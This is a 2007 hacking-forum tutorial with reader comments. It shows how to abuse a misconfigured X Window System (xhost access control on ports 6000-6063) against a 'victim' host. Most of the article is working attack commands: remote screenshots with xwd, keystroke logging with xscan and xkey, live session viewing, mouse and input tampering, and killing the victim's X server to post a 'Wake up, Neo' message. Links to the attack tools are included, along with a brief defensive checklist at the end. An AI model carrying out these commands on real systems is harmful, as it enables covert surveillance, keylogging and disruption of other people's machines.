Follow us on Twitter!
The measure of a mans life is not how well he dies, but how well he lives.
Monday, April 21, 2014
Navigation
Home
HellBoundHackers Main:
HellBoundHackers Find:
HellBoundHackers Information:
Learn
Communicate
Submit
Shop
Challenges
HellBoundHackers Exploit:
HellBoundHackers Programming:
HellBoundHackers Think:
HellBoundHackers Track:
HellBoundHackers Patch:
HellBoundHackers Other:
HellBoundHackers Need Help?
Other
Members Online
Total Online: 29
Guests Online: 28
Members Online: 1

Registered Members: 82851
Newest Member: darthvador
Latest Articles

X: 6000-6063 (TCP) Service Abuse

Arrow Image X Windows System Misconfiguration hacking and the infamous "Wake Up, Neo" trick from the matrix demonstrated with X.



The X Window System is just a GUI front end to Unix and Linux Operating Systems, it is at the same time a network-transparent window system. This service runs on TCP and UDP ports 6000 to 6063. This port assignment is global and widely used by most, if not all, *nix distributions.


Just like a regular service, it is susceptible to exploitation through a simple system misconfiguration, or root\'s (administrator) ignorance/laziness to secure it. What is this hole you might be wondering? Well, allow me to show you how deep it goes.


Know that a machine running an X Window System will have the \"xhost\" program that controls (add/delete) the hosts allowed to make connections to the X server. This is basic security, and can be violated by appending certain things to that configuration.


To show you how this mechanism works, we will simulate a situation where we have a LOCAL user (with hostname 192.168.0.4) and a REMOTE user (with hostname 192.168.0.5) establish a regular connection.


FYI: The connection uses the X library (Xlib) to send/recv data between client and server.


OK, now, under normal condition if the LOCAL user wanted to grant access to the REMOTE user, all that user would need to do is type in their terminal (shell):

[bash]$ xhost +192.168.0.5
192.168.0.5 being added to access control list


Also, the server (LOCAL) host running X would need to establish a connection to the remote client:

[bash]$ ssh -X 192.168.0.5 -l UsernameOfRemoteClient


We established the connection, because we need to configure the display settings (from the REMOTE client/user)...

[bash]$ setenv DISPLAY 192.168.0.4:0.0


And to test, to see if all worked, try running a GUI application, like xclock, from the REMOTE user\'s computer:

[bash]$ xclock &


If it worked, then you should see a clock pop up on the screen.


ANY user on the REMOTE system can access the LOCAL one, since the permission was granted by IP address, and it is not username specific. I\'ll leave your imagination to ponder why that could be a bad thing.


The REMOTE user can thus start doing some stuff on the LOCAL user (victim) ... such as, say, take screenshots of the victim\'s session using \"xwd\", which is an X System window dumping utility:

[bash]$ xwd -display 192.168.0.4:0 -root > screenshot.xwd


This results in an image (screenshot.xwd) -- To view it, simply use the \"xwud\" image display utility for X Window Systems, as such:

[bash]$ xwud -in screenshot.xwd


But, if you didn\'t want to save the screenshot and just wanted to look, simply do:

[bash]$ xwd -display 192.168.0.4:0.0 -root | xwud


It is also possible to activate their screensaver by issuing the following command:

[bash]$ xset -display 192.168.0.4:0.0 s activate


Changing their background is also childsplay. It is fun to do, nonetheless:

[bash]$ xsetroot -display remote.host:0.0 -solid black


Heck, mess with their mouse, simply to vex them.

[bash]$ xmodmap -display 192.168.0.4:0.0 -e \"pointer = 2 1 3 4 5\"

_____________________________________________

There is another handy utility which acts as a keylogger to capture remote X window keystrokes that issued the \"xhost\" command in the beginning.
\"xkey\" is also similar to \"xscan\" in functionality.

[bash]$ xscan 192.168.0.4
Scanning hostname 192.168.0.4 ...
Connecting to 192.168.0.4 (192.168.0.4) on port 6000 ...
Connected.
Host 192.168.0.4 is running X.
Starting keyboard logging of host 192.168.0.4:0.0 to file
KEYLOG192.168.0.4:0.0

This places the LOCAL user\'s keystrokes in the \"KEYLOG192.168.0.4:0.0\" file. mmm... Juicy!
\"xkey\" is also similar to \"xscan\" in functionality. Look at it\'s usage and switches for more information.

Ah! better yet, there is another utility, called \"xwatchwin\", which displays the remote user\'s (192.168.0.4) X session in a real time GUI. KINCHOI!

Furthermore, \"xremote\" allows an attacker to send mouse and keyboard events to a remote X session. You must be thinking of Matrix! I\'m right there with you.

_____________________________________________


Now, to do the \"Wake Up, Neo\" trick, tunnel your X session through SSH (it\'s not that complex, trust me). But having r00t access would be great! So, exploit it remotely, or elevate priviledges once logged in as a regular user. Assuming you logged in as r00t, issue the following command to our victim (192.168.0.4):

[bash]$ ssh -X username@192.168.0.4


Remember, we\'re still doing this to our poor fella, \"LOCAL\" user/victim. Go to the terminal (shell).

[bash]$ ps aux | grep X


Remember the PID of X window system, and kill it (\"kill X_PID#\"), so the GUI is gone. This should bring them to a blank terminal.

Go ahead and send them your message, such as:

[bash]$ \"Wake up, Neo.\" > /dev/tty1


If TTY1 is truly the terminal they\'re using, then all should be fine. If not, then check with \"w\", to see who is logged on and their terminal, as to readjust the destination of our subliminal message.

You can even do the same thing, but in the form of a pop-up window:

[bash]$ xmessage -display 192.168.0.4:0.0 \"Wake up, Neo.\"


NOW, imagine what would happen if the LOCAL user (victim) misconfigured, or was too lazy to complete the configuration by doing:

[bash]$ xhost +


That, by itself, allows ALL connections to the machine it was type on. PwNage will be done to the machine that does this!


To protect your assets:
- Block ports 6000 to 6063 at your firewall. It should disable external hosts from connecting to the X Server.
- Using \"xauth\" to encrypt X Window System connections is a better and safer alternative to remotely login to X Servers.
- It\'s not a bad practice to check $HOME/.Xauthority or doing \"xauth list\" in the terminal every now and then.
- To check for authentication information and allowed hosts do: \"cat /etc/XD.hosts\"
- Also, if you suspect that you might have added someone by mistake, use: \"xhost -192.168.0.5\"
- If you\'ve panicked and think the world has access to your box, use \"xhost -\"

TOOLS
:: xscan > http://www.bournemouthbynight.co.uk/tools/xscan2.c
:: xkey, xauth, xwatchwin > www.packetstormsecurity.org/
:: xremote > www.infa.abo.fi/~chakie/xremote/

RESOURCES
http://www.xfree86.org/current/xhost.1.html
http://www.honeynet.org/challenge/results/submissions/addam/toolkit.txt
http://www.unixreview.com/documents/s=1238/urm0102e/hacking_exposed_ch08.pdf

Comments

mastergameron April 28 2007 - 21:44:34
Great article man, I'll have to try this out Grin
Genomeon April 28 2007 - 23:27:52
I dont know if you could film to neo thing? that would be so cool
TotcoSon April 29 2007 - 09:36:16
If you want the screen to type the letters one at a time the way Trinity did to Neo, you can wget a nice little app called 'dirthy' from packetstorm. heres the link http://packetstormsecurity.nl/groups/teso/dirthy.c
richohealeyon April 29 2007 - 12:05:17
netfish: words escape me. Another fantastic article
lukem_95on April 29 2007 - 13:46:12
yeah, use Xvidcap (to film) Grin great article
Der Heiligenon April 29 2007 - 18:38:57
VERY good job. I really like it. This is one of the few articles that I enjoyed, Pfft.
korgon April 30 2007 - 02:46:53
Nice article but if find anyone with port 6000 to 6063 not blocked, They deserve what they get. There was a update to patch this. Enjoyed the read thoughGrin
netfishon May 02 2007 - 22:24:32
Please digg this article if you enjoyed it a lot:
http://digg.com/s. . .vice_Abuse
Post Comment

Sorry.

You must have completed the challenge Basic 1 and have 100 points or more, to be able to post.